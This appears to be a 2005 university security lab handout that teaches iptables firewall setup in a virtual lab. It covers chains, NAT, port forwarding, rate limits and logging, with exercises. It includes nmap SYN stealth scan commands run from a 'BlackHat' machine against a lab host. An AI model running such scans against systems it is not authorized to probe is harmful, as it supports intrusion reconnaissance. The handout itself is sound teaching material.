Embed Size (px)
Citation preview
ECE4112 Internetwork SecurityLab 7: Firewalls
Group Number: _________Member Names: ___________________ _______________________
Date Assigned: October 11, 2005Date Due: October 20, 2005 (Note this is a Thursday!!!)Last Edited: November 15, 2005
Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions in the Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the Date Due.
Goal: This lab will introduce to the concept of Firewalls. You will be experimenting with different kinds of firewalls.
Summary: This lab is divided into three major parts. Part 1 explores the Linux firewall implementation in the form of the iptables program. Part 2 is a small introduction to Real Secure, one of the most popular Windows firewall programs. In Part 3, you will configure a Cisco PIX 515E firewall for a particular network structure. Part 1 and 3 might each take 2 hours or more, to finish. Therefore it is recommended that you start early.
Background: None
Prelab Questions: None
Lab Scenario:NOTE: Part 3 of the lab requires you to reserve slots to use the equipment. The signup sheets will be posted on the lab door.
For Part 1 of this lab, you will be setting up two virtual machines on your hard drive. One of the two will represent a protected machine inside a firewall, while the other will represent an attacker. We will use the host machine (WS 4.0) as a router that implements a firewall. The virtual machine network structure is shown below. These machines will be set up with host only networking, meaning any traffic they send or receive goes through the host machine. The host machine will be using the iptables program.
1
Figure 1-1. Network structure on the Firewall machines
System Setup
Protected: A normal Linux virtual machine with IP 192.168.0.10, netmask 255.255.255.0, and gateway 192.168.0.1. The gateway is a virtual interface on the host machine which acts like a router and firewall. This is the machine that is on the inside network and needs to be protected with the firewall.
Linux Firewall: Red Hat WS 4.0 base system that is configured to act like a router and runs a firewall with ipchains. It forwards packets received on its two virtual interfaces (vmnet1 and vmnet2) to the intended destinations. You will make firewall rules on this machine to protect the inside network.
BlackHat: Same configuration as the Protected machine. IP address is 131.210.231.55 and gateway is 131.210.231.1, which is the virtual interface vmnet2 on the host machine. This is the machine where you will try to attack the protected machine from.
Note: All the root passwords for these machines have been set to “password”.
Configuring the network
Before configuring the firewall on the host machine, we must first setup the network described in Figure 1-1. Two virtual machine images have been placed on the NAS under the Lab 7 Folder for you to use: Protected and BlackHat. Both of these are Red Hat Linux WS 4.0 images.
Copy the directories BlackHat and Portected to the folder that you have placed all other vmware images. This may take a few minutes per image.
Before we create a virtual machine in VMWare, we must first configure both machines for host-only networking.
2
From your WS4 Host machine, Run the vmware-config.pl$ /usr/bin/vmware-config.plUse the following answers:
Accept the default directories for the first two questions.Accept the default “yes” for the question about building a vmon module for your system.Again accept the default directory for the location of the C header files.
“Would you like to skip networking setup and keep you old settings as they are?”. NoDo you want networking for your virtual machines? YesWould you prefer to modify your existing network configuration using the wizard or the editor? EditorDo you wish to make any changes to the current virtual networks settings? YesWhich Virtual network do you wish to configure? (0-99)1The network vmnet1 has been reserved for a host-only network. You may changeit, but it is highly recommended that you use it as a host-only network. Areyou sure you want to modify it? (yes/no) [no] Yes
What type of virtual network do you wish to set vmnet1?(bridged,hostonly,nat,none) [none] HostonlyConfiguring a host-only network for vmnet1.Do you want this program to probe for an unused private subnet? (yes/no/help) [yes] NoWhat will be the IP address of your host on the private network? 192.168.0.10 (see Figure 1-1)What will be the netmask of your private network? 255.255.255.0
The following virtual networks have been defined:. vmnet0 is bridged to eth0. vmnet1 is a host-only network on private subnet 192.168.0.10
Do you wish to make additional changes to the current virtual networks settings ?(yes/no) [yes]YesWhich Virtual network do you wish to configure? (0-99)2What type of virtual network do you wish to set vmnet2?(bridged,hostonly,nat,none) [none] HostonlyConfiguring a host-only network for vmnet2.Do you want this program to probe for an unused private subnet? (yes/no/help) [yes] NoWhat will be the IP address of your host on the private network? 131.210.231.55 (d is from table on page 2)What will be the netmask of your private network? 255.255.255.0
The following virtual networks have been defined:. vmnet0 is bridged to eth0. vmnet1 is a host-only network on private subnet 192.168.0.10.. vmnet2 is a host-only network on private subnet 131.210.231.55.
Do you wish to make additional changes to the current virtual networks settings ?(yes/no) [yes]No
3
Starting VMware services: Virtual machine monitor [ OK ] Virtual ethernet [ OK ] Bridged networking on /dev/vmnet0 [ OK ] Host-only networking on /dev/vmnet1 (background) [ OK ] Host-only networking on /dev/vmnet2 (background) [ OK ]
What this has done is set up two virtual Host-Only Networks on /dev/vmnet1 and /dev/vmnet2. We are using the host-only networks to act like two independent subnetworks. Each virtual machine will act as if we are connecting it to an extra network card in the host.
Start VMware by typing vmware &. In another terminal type ifconfig. All of the host-only networks appear along with eth0 and eth1, functioning as if they were physical network cards.
Start both your WS4 virtual machines (refer to lab 1 if you forgot how to add a virtual machine). Right click on the tab that lists the name of the machine, and go down to “Settings”. The setting for “Ethernet1” needs to be changed from “Bridged” to “Custom: Specific virtual network”. The drop down box then needs to be set to either /dev/vmnet1 or /dev/vmnet2 depending on the specific virtual machine. Check the network diagram on Figure 1-1.
Click on the RedHat Icon on the virtual machines and go to System Settings -> Network. Click on Edit to modify your settings, and change your gateway (see network diagram on Figure 1-1 again). Make sure the IP address is correct for each virtual machine. The gateway should be the IP of the host machine for the specific virtual network you are setting up. So for the Protected virtual machine, the IP address will be 192.168.0.10 and the gateway will be 192.168.0.1. Click OK. Then, click Deactivate, Activate, Apply. Close to change your settings.
Try pinging your host machine from each virtual machine.
$ping 192.168.0.1$ping 131.210.231..1
Now that we have bound the virtual machines to our host, it is time to allow for packet forwarding through the host machine so that each virtual machine can communicate.
On the host machine:
To allow your host to forward or route IP packets, you need to type the following:$echo 1 > /proc/sys/net/ipv4/ip_forward <ENTER>
This places a 1 in the file /proc/sys/net/ipv4/ip_forward. Check to make sure this command was successful by typing $cat /proc/sys/net/ipv4/ip_forward<ENTER> (1 should be printed on your screen). When Linux receives a packet, it looks at this file, and forwards if it sees a 1. This configuration is reset each time your physical machine is rebooted, so you must retype this command every time you reboot!
Now see if you can ping the Protected machine from the BlackHat machine. You should be able to at the moment.
4
1. Linux FirewallsIn this section of the lab you will explore the Linux firewall iptables. The initial sections give an overview of basic firewall concepts with exercises and examples. In the later sections, you will implement all the rules in the iptables.firewall file available from the Lab7 directory on the NAS server. The effects of these rules are to be examined.
To get started, open a terminal on the machine and start VMWare. You’ll see that some virtual machines have already been setup for you. We will be using the “Protected” and “Blackhat” machines, as shown in Figure 1-1. The host machine will act as the firewall.
Setting up routing and iptablesSome of the information given in this section will only be clear and useful later on when you actually use iptables.
The executable binary for the iptables application is the /sbin/iptables file. So when execute iptables this is the file that is executed. RedHat also has an executable script in the /etc/init.d/iptables file so that it can start its default firewall at startup. An easy way to reset the firewall rules is to use this script as
/etc/rc.d/init.d/iptables stopThis flushes all the rules in memory and gives you a clean start.
You can flush individual rules withiptables –F flushes all chainsiptables –X <chain name> deletes a chainiptables –X deletes all chains
To check if there are any current rules, typeiptables –LIt’ll show you a couple of chains, but there won’t be any rules in them.
You might have to do /etc/init.d/iptables restart to apply these changes (note: this is a different command than the one you used above).
The /root/fresh_iptables directory contains a file called iptables.firewall file. This file contains all of the firewall rules we will use in this lab. The contents of this file are included in Appendix 1-A so you may follow the lab discussion in that file. You can execute this file to enable all the rules at once by executing it. Don’t execute it yet.
Now go to the root directory (~/) and make a directory with your group name. Copy the iptables.firewall rule file from the /root/fresh_iptables directory into your group’s home directory. Make sure that whenever you edit the file, you are doing it in your own group’s home directory. At this time, also make a backup copy of the current iptables in a directory called fresh_iptables.bak. Once you are done with the lab, make sure to move this backup file back to the original directory so that every group gets the firewall in a similar state.
Later in the lab, every time you need to restart the firewall with your rules, you can use the following commands:
/etc/rc.d/init.d/iptables stop
5
./iptables.firewall (in the directory with your edited iptables.firewall file)
Again as a reminder, to enable packet forwarding on the Firewall machine, the line below needs to be executed.
echo “1” > /proc/sys/net/ipv4/ip_forward
This has already been done above, but remember that this command needs to be executed at restart. What this will do is to allow any FORWARD chain rules to be followed. This will make more sense later when we discuss packet forwarding in sections 1.2, 1.5 and 1.6. For now, just make certain that it is enabled by typing
cat /proc/sys/net/ipv4/ip_forward
1.1.1. BackgroundOnly you can protect your system…..Firewalls have become one of the most popular ways to help secure a network. A firewall is hardware, software, or a combination of the two that prevents unauthorized access to or from a private network. Think of it as Internet customs and immigration. The firewall is the agent that checks each item entering or leaving the network. Each item must pass the right criteria in order to make it through. So a hacker attempting to enter the network of California with a Florida orange would be stopped at the border.
Firewalls use one or more of three methods to control traffic flowing in and out of the network:
Packet filtering - Packets (small chunks of data) are analyzed against a set of filters. Packets that make it through the filters are sent to the requesting system and all others are discarded.
Proxy service - Information from the Internet is retrieved by the firewall and then sent to the requesting system and vice versa.
Stateful inspection - A newer method that doesn't examine the contents of each packet but instead compares certain key parts of the packet to a database of trusted information. Information traveling from inside the firewall to the outside is monitored for specific defining characteristics, then incoming information is compared to these characteristics. If the comparison yields a reasonable match, the information is allowed through. Otherwise it is discarded.
Exercise 1 No firewall functionality running
From the BlackHat machine, use nmap to scan the Linux Machine behind the firewall. You can use the graphical interface for nmap with these options:
SCAN -> SYN StealthDISCOVER -> Don’t PingOPTIONS -> Don’t resolve
Fast Scan You can also use the command line with
nmap –sS –P0 –n –F <Protected Linux Machine IP>
Q1.1. Write down which ports are open:
6
1.1.2. Firewall Configuration
Firewalls are customizable. This means that you can add or remove filters based on several conditions. Some of these are:
IP addresses Domain names Protocols -
IP (Internet Protocol) - the main delivery system for information over the Internet TCP (Transport Control Protocol) - used to break apart and rebuild information that
travels over the Internet HTTP (Hyper Text Transfer Protocol) - used for Web pages FTP (File Transfer Protocol) - used to download and upload files UDP (User Datagram Protocol) - used for information that requires no response, such as
streaming audio and video ICMP (Internet Control Message Protocol) - used by a router to exchange the
information with other routers SMTP (Simple Mail Transport Protocol) - used to send text-based information (e-mail) SNMP (Simple Network Management Protocol) - used to collect system information
from a remote computer Telnet - used to perform commands on a remote computer
Ports Specific words and phrases - This can be anything. The firewall will sniff (search through) each
packet of information for an exact match of the text listed in the filter. For example, you could instruct the firewall to block any packet with the word "X-rated" in it. The key here is that it has to be an exact match. The "X-rated" filter would not catch "X rated" (no hyphen). But you can include as many words, phrases and variations of them as you need.
A software firewall, such as RealSecure, can be installed on the computer in your home that has an Internet connection. This computer is considered a gateway because it provides the only point of access between your home network and the Internet.
With a hardware firewall, the firewall unit itself is normally the gateway. A good example is the Linksys Cable/DSL router. It has a built-in Ethernet card and hub. Computers in your home network connect to the router, which in turn is connected to either a cable or DSL modem. You configure the router via a Web-based interface that you reach through the browser on your computer. You can then set any filters or additional information.
Hardware firewalls are incredibly secure and not very expensive. Home versions that include a router, firewall, and Ethernet hub for broadband connections can be found for well under $100.
1.1.3. What It Protects You From:
There are many creative ways that unscrupulous people use to access or abuse unprotected computers. The level of security you establish will determine how many of these threats can be stopped by your firewall. The highest level of security would be to simply block everything. Obviously that defeats the purpose of having an Internet connection. But a common rule of thumb is to block everything, and then begin to select what types of traffic you will allow. You can also restrict traffic that travels through the firewall so that only certain types of information, such as e-mail, can get through. This is a good rule for
7
businesses that have an experienced network administrator that understands what the needs are and knows exactly what traffic to allow through. For most of us, it is probably better to work with the defaults provided by the firewall developer unless there is a specific reason to change it.
One of the best things about a firewall from a security standpoint is that it stops anyone on the outside from logging onto a computer in your private network. While this is a big deal for businesses, most home networks will probably not be threatened in this manner. Still, putting a firewall in place provides some peace of mind.
1.1.4. Demilitarized Zone
DMZ stands for Demilitarized Zone. A DMZ is your frontline when protecting valuables from direct exposure to an untrusted environment. SI Security defines a DMZ as, "A network added between a protected network and an external network in order to provide an additional layer of security." A DMZ is sometimes called a "Perimeter network" or a "Three-homed perimeter network."
A DMZ is a step towards defense in depth because it adds an extra layer of security beyond that of a single perimeter. A DMZ separates an external network from directly referencing an internal network. It does this by isolating the machine that is being directly accessed from all other machines. Most of the time the external network is the Internet and what is in the DMZ is the web server but this isn’t the only possible configuration. A DMZ can be used to isolate a particular machine within a network from other machines. This might be done for a branch office that needs its own Internet access but also needs access to the corporate network. In DMZ terminology, an internal connection is generally thought of as having more secret or valuable information than an external network. An easy way to understand which one is the internal network is to ask yourself which network I am protecting.
Separation is important. Any system should have its important applications separated. This acts as system of checks and balances to make sure that if any one area goes bad that it cannot corrupt the whole. It is important to separate information so an attacker can’t get to all the systems. It would be bad enough for the attacker to get to the web server but if that attacker can get through the web server to your database then that’s even worse. This is the type of problem that a DMZ is designed to prevent.
A DMZ’s separation will degrade performance. If configured correctly the degradation in performance is usually minimal and seldom noticeable. However, it does exist and you need to be aware of it. This effect on performance must be calculated in the total cost of implementing a DMZ. Usually the performance drop is nominal and the security increase is significant.
Q1.2. What ports do you think should be left open to allow for normal internet traffic? Explain how your answer differs for say a host versus a server.
1.2.1. - IPtables Introduction
Up until now, we've looked at stateless and stateful firewalls. Remember, stateless firewalls only have the features of a given packet to use as criteria for whether that packet should be passed, blocked, or logged. With a stateful firewall, in addition to the fields in that packet, we also have access to the kernel's table of open connections to use in deciding the fate of this packet.
8
There's a problem, though. Picture an attacker that has launched attacks against almost every port on our web server box for the past half hour. The firewall has successfully repelled all of them, but now the attacker turns his attention to port 80. All of the hostile overflow attempts are let through unhindered. Why? Because the firewall ruleset allows all traffic to the web server through, and our firewall can't remember the fact that this IP address has been pounding all the other ports on the system.
What if we could tell the firewall to remember the IP address of attackers and block them for a short period of time following their last attack? By remembering their past actions, we can block incoming web server connections that would otherwise have been allowed.
1.2.2. Iptables modules:
The firewall code in the current Linux kernel ( http://www.netfilter.org/ ) is called iptables or netfilter (while there is a technical distinction, they're equivalent names for this discussion). The crucial feature of this firewall is its modular design. You have the ability to add new types of tests to perform on a packet and actions to take on it. These tests and action modules can be added to a running kernel.
1.3.1. What’s going on in the kernel?
(taken from netfilter HOWTO by Rusty Russell)
The kernel starts with three lists of rules in the ‘filter’ table; these lists are called firewall chains or just chains. The three chains are called INPUT, OUTPUT and FORWARD.
The chains are arranged like so: (Note: this is a very different arrangement from the 2.0 and 2.2 kernels!)
Figure 1-2 – Routing chains
9
The three circles represent the three chains mentioned above. When a packet reaches a circle in the diagram, that chain is examined to decide the fate of the packet. If the chain says to DROP the packet, it is killed there, but if the chain says to ACCEPT the packet, it continues traversing the diagram.
A chain is a checklist of rules. Each rule says ‘if the packet header looks like this, then here’s what to do with the packet’. If the rule doesn’t match the packet, then the next rule in the chain is consulted. Finally, if there are no more rules to consult, then the kernel looks at the chain policy to decide what to do. In a security-conscious system, this policy usually tells the kernel to DROP the packet.
1. When a packet comes in (say, through the Ethernet card) the kernel first looks at the destination of the packet: this is called ‘routing’.
2. If it’s destined for this box, the packet passes downwards in the diagram, to the INPUT chain. If it passes this, any processes waiting for that packet will receive it.
3. Otherwise, if the kernel does not have forwarding enabled, or it doesn’t know how to forward the packet, the packet is dropped. If forwarding is enabled, and the packet is destined for another network interface (if you have another one), then the packet goes rightwards on our diagram to the FORWARD chain. If it is ACCEPTed, it will be sent out.
4. Finally, a program running on the box can send network packets. These packets pass through the OUTPUT chain immediately: if it says ACCEPT, then the packet continues out to whatever interface it is destined for.
1.3.2. Creating your own rules
The iptables tool inserts and deletes rules form the kernel’s packet filtering table. Initially all chains are set to ACCEPT by default. A detailed description can be obtained from the man pages (man iptables).
Commands to change chains:
1. create a new chain (-N) NOTE: use upper case letters2. delete an empty chain (-X)3. list the rules for a chain (-L)4. flush a chain (delete all rules in a chain) (-F)
Commands to add/delete rules:
1. Append a new rules to a chain (-A)2. Delete a rule at some position in a chain, or the first that matches (-D)
The sections
Note: The examples in these sections only demonstrate particular rules. They may or may not work for the network setup for the lab.
1.4.0. Iptables Parameters
Parameters specify the type of packet that you are looking to match with your rule.
1.4.1. Specifying jump
If a packet matches one of your rules, you can tell the packet to jump to another chain with the ‘-j’ option
10
Example:#jump all packets in INPUT chain to the DROP chainiptables –A INPUT –j DROP
1.4.2. Specifying protocol
The protocol can be specified with the ‘–p’ option. Protocols can either be the number in the IP header or ‘tcp’, ‘udp’, or ‘icmp’ (case insensitive).
Example:#drop all icmp packetsiptables –A INPUT –p icmp –j DROP
1.4.3. Specifying inversion
To invert (negate) any of your rules use the ‘!’ character
Example:#drop all packets that are not tcpiptables –A INPUT –p ! tcp
1.4.4. Specifying interface
Interfaces can be specified with the ‘-i’ (input) and ‘-o’ (output) paramaters. Note, a rule in the INPUT chain checking with ‘-o’ will never match any packet and a rule in the OUTPUT chain checking with ‘-i’ will never match any packet.
Example:#check packets coming in from the eth0 interfaceiptables –A INPUT –i eth0
1.4.5. Specifying source/dest
The source/dest address of the packet can be specified in 4 ways. The source/dest can be specified as a named address ( localhost, www.yahoo.com), by the IP address (e.g. 192.168.1.12), by group using network bits (e.g. 190.35.107.0/24 ), or by using network address/netmask ( e.g. 190.35.107.0/255.255.255.0 ) Although this next example is not in our iptables.firewall take a look at this example:
Example:#allow tcp packets coming from 130.207.232.1/24 machines to 50.60.23.45 machineiptables –A INPUT –s 130.207.232.1/24 –d 50.60.23.45 –p tcp
11
1.4.6 . State matching
If the ‘ip_conntrack’ module is loaded, then connection-tracking analysis can be done on packets. You can check my typing lsmod. The module can be inserted using insmod ip_conntrack.
The states which can be checked are:
NEWA packet which creates a new connection
ESTABLISHEDA packet which belongs to an existing connection (i.e., a reply packet, or outgoing packet on a connection which has seen replies).
RELATEDA packet which is related to, but not part of, an existing connection, such as an ICMP error, or (with the FTP module inserted), a packet establishing an ftp data connection.
INVALIDA packet which could not be identified for some reason: this includes running out of memory and ICMP errors which don’t correspond to any known connection. Generally these packets should be dropped.
An example of this powerful extension would be:
iptables –A FORWARD –i eth0 –m state ! –state NEW –j DROP
1.4.7 - Limit explanation
This module must be explicitly specified with `-m limit' or `--match limit'. It is used to restrict the rate of matches, such as for suppressing log messages. It will only match a given number of times per second (by default 3 matches per hour, with a burst of 5). It takes two optional arguments:
--limit
Followed by a number; specifies the maximum average number of matches to allow per second. The number can specify units explicitly, using `/second', `/minute', `/hour' or `/day', or parts of them (so `5/second' is the same as `5/s').
--limit-burst
Followed by a number, indicating the maximum burst before the above limit kicks in.
12
This match can often be used with the LOG target to do rate-limited logging. To understand how it works, let's look at the following rule, which logs packets with the default limit parameters:
# iptables -A FORWARD -m limit -j LOG
The first time this rule is reached, the packet will be logged; in fact, since the default burst is 5, the first five packets will be logged. After this, it will be twenty minutes before a packet will be logged from this rule, regardless of how many packets reach it (60 minutes / 3 packets per hour). This value of twenty minutes is because the default limit is 3/hour. Also, every twenty minutes which passes without matching a packet, one of the burst will be regained; if no packets hit the rule for 100 minutes, the burst will be fully recharged to 5 packets (100 minutes / 20mintes per packet); back where we started.
Note: you cannot currently create a rule with a recharge time greater than about 59 hours, so if you set an average rate of one per day, then your burst rate must be less than 3.
You can also use this module to avoid various denial-of-service attacks (DoS) with a faster rate to increase responsiveness.
Syn-flood protection (recall Datapool utility from Lab 3 for DoS using Syn Flood):
# iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPTor# iptables –N SYN-FLOOD# iptables –A SYN-FLOOD –m limit –-limit 20/s –-limit-burst 100 –j RETURN# iptables –A SYN-FLOOD –j LOG –-log-prefix “SYN-FLOOD: ”# iptables –A INPUT –p tcp –-syn –j SYN-FLOOD
Furtive port scanner:
# iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT
Ping of death:
# iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
UDP Attack (from Lab 3):
# iptables –N UDP-FLOOD# iptables –A UDP-FLOOD –m limit –-limit 20/s –-limit-burst 100 –j RETURN# iptables –A UDP-FLOOD –j LOG –-log-prefix “UDP-FLOOD: “# iptables –A UDP-FLOOD –j DROP# iptables –A INPUT –p udp –j UDP-FLOOD
1.5.0. Network Address Translation (NAT)
There are two types of NAT, source NAT and destination NAT.
13
Source NAT is when you alter the source address of the first packet: i.e. you are changing where the connection is coming from. Source NAT is always done post-routing, just before the packet goes out onto the wire. Masquerading is a specialized form of SNAT. A router might do masquerading for packets going from one of its internal machines to an outside connection. In this case it will change the source address of the machine to its own address. The external machine will see the packets coming from the router.
Destination NAT is when you alter the destination address of the first packet: i.e. you are changing where the connection is going to. Destination NAT is always done before routing, when the packet first comes off the wire. Port forwarding, load sharing, and transparent proxying are all forms of DNAT. In the router example, the incoming packets intended for the internal machine are routed to it by changing the destination address to the internal address of the machine.
1.5.1 - NAT in the kernel
You need to create NAT rules which tell the kernel what connections to change, and how to change them. To do this, we use the very versatile iptables tool, and tell it to alter the NAT table by specifying the `-t nat' option.
The table of NAT rules contains three lists called `chains': each rule is examined in order until one matches. The two chains are called PREROUTING (for Destination NAT, as packets first come in), and POSTROUTING (for Source NAT, as packets leave). The third (OUTPUT) will be ignored here.
The following diagram illustrates this concept:
Figure 1-3 – NAT routing chains
At each of the points above, when a packet passes we look up what connection it is associated with. If it's a new connection, we look up the corresponding chain in the NAT table to see what to do with it. The answer it gives will apply to all future packets on that connection.
14
1.5.2. Iptables and NAT
Figure 1-4 – NAT with Iptables
In order to explain the iptables.firewall commands in the next section, (see iptables.firewall in appendix 1-A now) you need the following details:
The most important option for the iptables command is the table selection option, `-t'. For all NAT operations, you will want to use `-t nat' for the NAT table. The second most important option to use is `-A' to append a new rule at the end of the chain (e.g. `-A POSTROUTING'), or `-I' to insert one at the beginning (e.g. `-I PREROUTING').
You can specify the source (`-s' or `--source') and destination (`-d' or `--destination') of the packets you want to NAT. These options can be followed by a single IP address (e.g. 192.168.1.1), a name (e.g. www.gnumonks.org), or a network address (e.g. 192.168.1.0/24 or 192.168.1.0/255.255.255.0).
You can specify the incoming (`-i' or `--in-interface') or outgoing (`-o' or `--out-interface') interface to match, but which you can specify depends on which chain you are putting the rule into: at PREROUTING you can only select incoming interface, and at POSTROUTING you can only select outgoing interface. If you use the wrong one, iptables will give an error.
You want to do Source NAT; change the source address of connections to something different. This is done in the POSTROUTING chain, just before it is finally sent out; this is an important detail, since it means that anything else on the Linux box itself (routing, packet filtering) will see the packet unchanged. It also means that the `-o' (outgoing interface) option can be used.
15
DNAT is done in the PREROUTING chain, just as the packet comes in; this means that anything else on the Linux box itself (routing, packet filtering) will see the packet going to its `real' destination. It also means that the `-i' (incoming interface) option can be used.
1.5.3. Port Forwarding
When running a web server behind your firewall, you want to forward packets destined for that server through the firewall to that box.
Example:
# Linux 2.4# Append a rule before routing (-A PREROUTING) to the NAT table (-t nat) that# TCP packets (-p tcp) going to 1.2.3.4 (-d 1.2.3.4) port 80 (--dport 80)# have their destination mapped (-j DNAT) to 192.168.1.1, port 80# (--to 192.168.1.1:80).iptables -A PREROUTING -t nat -p tcp -d 1.2.3.4 --dport 80 \ -j DNAT --to 192.168.1.1:80
NOTE: This only changes the destination of the packet, it does not automatically accept it in the forwarding chain. A rule must be made in the forwarding chain also.
1.5.4. Masquerading
There is a specialized case of Source NAT called masquerading: it should only be used for dynamically-assigned IP addresses, such as standard dialups.
You don't need to put in the source address explicitly with masquerading: it will use the source address of the interface the packet is going out from. But more importantly, if the link goes down, the connections (which are now lost anyway) are forgotten, meaning fewer glitches when connection comes back up with a new IP address.
## Masquerade everything out ppp0.# iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
1.6.0. iptables.firewall Script Explanation (See Appendix 1-A)
These rules are already contained in our file iptables.firewall. We do not cover the rules in exactly the same order as they appear in your file. Go through these rules and understand what exactly is being done.
1.6.1. Load the iptables modules and connection tracking for ftp and nat:
modprobe ip_tablesmodprobe iptable_natmodprobe ip_conntrack_ftpmodprobe ip_nat_ftp
16
Configure default policies (-P), meaning default rule to apply if no more specific rule below is applicable. These rules apply if a more specific rule below is not applicable. Defaults are to DROP anything sent to firewall or internal network, permit anything going out.
iptables -P INPUT DROPiptables -P FORWARD DROPiptables -P OUTPUT ACCEPT
1.6.2. Flush (-F) all specific rules:
iptables -F INPUT iptables -F FORWARD iptables -F OUTPUT iptables -F -t nat
The rest of this file contains specific rules that are applied in the order listed. If none applies, then the above policy rules are used.
Forward all packets from vmnet1 (internal network) to vmnet2 (the internet).
iptables -A FORWARD -i vmnet1 -o vmnet2 -j ACCEPT
Forward all packets that are part of existing and related connections from vmnet2 to vmnet1.
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state ESTABLISHED,RELATED -j ACCEPT
Permit packets in to firewall itself that are part of existing and related connections.
iptables -A INPUT -i vmnet2 -m state --state ESTABLISHED,RELATED -j ACCEPT
Note, in the above two rules, a connection becomes ESTABLISHED in the iptables PREROUTING chain upon receipt of a SYNACK packet that is a response to a previously sent SYN packet. The SYNACK packet itself is considered to be part of the established connection, so no special rule is needed to allow the SYNACK packet itself.
Allow all inputs to firewall from the internal network and local interfaces
iptables -A INPUT -i vmnet1 -s 0/0 -d 0/0 -j ACCEPTiptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT
1.6.3.Forwarding
17
Forward all http packets (port 80) to the internal VMware machine
iptables -A PREROUTING -t nat –d 131.210.231.1 -p tcp --dport 80 -j DNAT --to 192.168.0.10:80iptables –A FORWARD –i vmnet2 –p tcp -–dport 80 –j ACCEPT
Forward all ssh packets (port 22) to the inside machine
iptables -A PREROUTING -t nat –d 131.210.231.1 -p tcp --dport 22 -j DNAT --to 192.168.0.10:22iptables –A FORWARD –i vmnet2 –p tcp -–dport 22 –j ACCEPT
Turn on ip forwarding in case it wasn't already enabled
echo "1" > /proc/sys/net/ipv4/ip_forward
1.6.4. Alternative to SNAT -- MASQUERADE
If your firewall has a dynamic IP number (Tech uses static IPs while most cable/DSL providers, such as ATT and Bellsouth, and all dial-up connections only offer dynamic IPs) because it connects to the internet itself via DHCP, then you probably cannot predict what the IP number is of your firewall's interface connected to the internet. In this case, you need a rule like the following that assigns the (an) IP number associated with vmnet2 to outgoing connections without you needing to know in advance (at time of writing this rule) what that IP number is:
iptables -A POSTROUTING -t nat -o vmnet2 -j MASQUERADE
Deny any packet coming in on the public internet interface vmnet2 which has a spoofed source address from our local networks:
iptables -A INPUT -i vmnet2 -s 192.168.0.0/24 -j DROPiptables -A INPUT -i vmnet2 -s 127.0.0.0/8 -j DROP
If you query a particular remote DNS server, permit UDP responses from it.
iptables -A INPUT -p udp -s <remote DNS server IP> --source-port 53 -d 0/0 -j ACCEPT
1.6.5. Defending against ICMP Ping Floods
ICMP ping floods are commonly used attacks, especially by “script kiddies.” The attack is really simple, the attacker ping floods you and if he has more upstream than your downstream, you won’t be able to
18
access anything. Iptables allows you to specify how many ICMP “echo” packets you want to reply to. This can be done by adding the following:
iptables -A INPUT –p icmp –-icmp-type echo-request –m limit \-–limit 30/minute –-limit-burst 1 –j ACCEPT
“30/minute’ means accept every other packet. An attacker may still ping flood you, but you won’t reply to it anyways, and he will give up soon. However, this also allows other people to ping you, just to test the network connection. The burst is set to 1 packet, so this limit will immediately take effect.
Our Linux based firewall is already completely setup since the iptables.firewall file is provided for us, and all of the machines behind the firewall are protected from harmful traffic. We will now run some tests to show the results of the firewall installation.
Exercise 3
Turn on the firewall rules by typing./iptables.firewall (in the directory where your iptables.firewall is placed)
If you have enabled the firewall before, you will need to flush the rules before executing the above command.
Now rerun nmap from outside the firewall (BlackHat) on the Linux machine behind the firewall (Protected).
Run nmap with these options:
SCAN -> SYN StealthDISCOVER -> Don’t PingOPTIONS -> Don’t resolve
Fast ScanTIMING -> Max RTT 40ms
The command is nmap –sS –P0 –n –F –max_rtt_timeout 6 <Protected Linux machine IP>
We must add this additional timing option because the firewall does not send a reset packet when nmap scans a closed port, it simply drops it. The RTT value specifies that nmap will not wait longer than 6ms for a response on a port. Note: 6ms is the smallest amount of time that is allowed for this option. In our case, since most packets will be dropped, increasing this value to something even as small as 40ms will cause this scan to take as long as 30 minutes.
Q1.3. Write down which ports are open after the firewalls installation:
Exercise 4
Q1.4. What happened differently in the results from exercise three as opposed to exercise one? Can you speculate what firewall rules caused this?
19
Exercise 5
From BlackHat, we are going to ping the firewall to observe the rule which defends against icmp ping floods. The rule specified in this lab has the limit as 30/minute and a burst of 1. This means that every other packet will be denied and this rule will be enabled with the first packet.
From your BlackHat, ping the firewall with these options:
ping 131.210.231.1 –c 20 –w 4
Record this output in one window.
Now change the rule in the iptables.firewall file to 10/minute and a burst of 5. Restart the firewall with the command
/etc/rc.d/init.d/iptables stop./iptables.firewall
In another window from BlackHat ping the firewall with these options:
ping 131.210.231.1 –c 20 –w 4
Q1.5. Comment on the differences between the first rule:
Exercise 6
Now run ethereal on the firewall machine. Run with the options capture packets on ‘any’ interface, update packets in real time, and automatic scrolling.
From the linux machine behind the firewall, ping BlackHat, outside of the firewall, with the command:
ping –c 1 131.210.231.55
Record the ethereal output and comment on the number of packets observed and their source and destination addresses.
Now, edit iptables.firewall and comment out line 31 which reads:
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state ESTABLISHED,RELATED -j ACCEPT
Restart the firewall with the command
/etc/rc.d/init.d/iptables stop./iptables.firewall
Repeat the previous ping and record and comment on the differences.
Q1.6. Uncomment line 29 and restart the firewall. Explain what you saw and why:
20
Exercise 7
Restart ethereal on the firewall machine. Run with the options capture packets on ‘any’ interface, update packets in real time, and automatic scrolling.
From BlackHat, ssh to 131.210.231.1
Q1.7. Record these output in ethereal and comment on what you saw happen:
Exercise 8
Now we are going to log any packets attempting to telnet to the firewall using the LOG chain.
iptables –A INPUT –d 131.210.231.1 –p tcp --dport 23 –j LOG --log-prefix ‘TELNET ATTEMPT: ‘
Attempt to telnet from Black Hat to the firewall. Check /var/log/messages for these telnet attemps and record the output from the messages file. type tail /var/log/messages to see the end of the /var/log/messages file.
Q1.8. What did you see:
Exercise 9
Q1.9. Write down three rules that you think might be useful and explain what they do.
You are now done with the Firewall Machine. Move the backup of the iptables file which you had created back into the /root/fresh_iptables directory to reset the firewall.
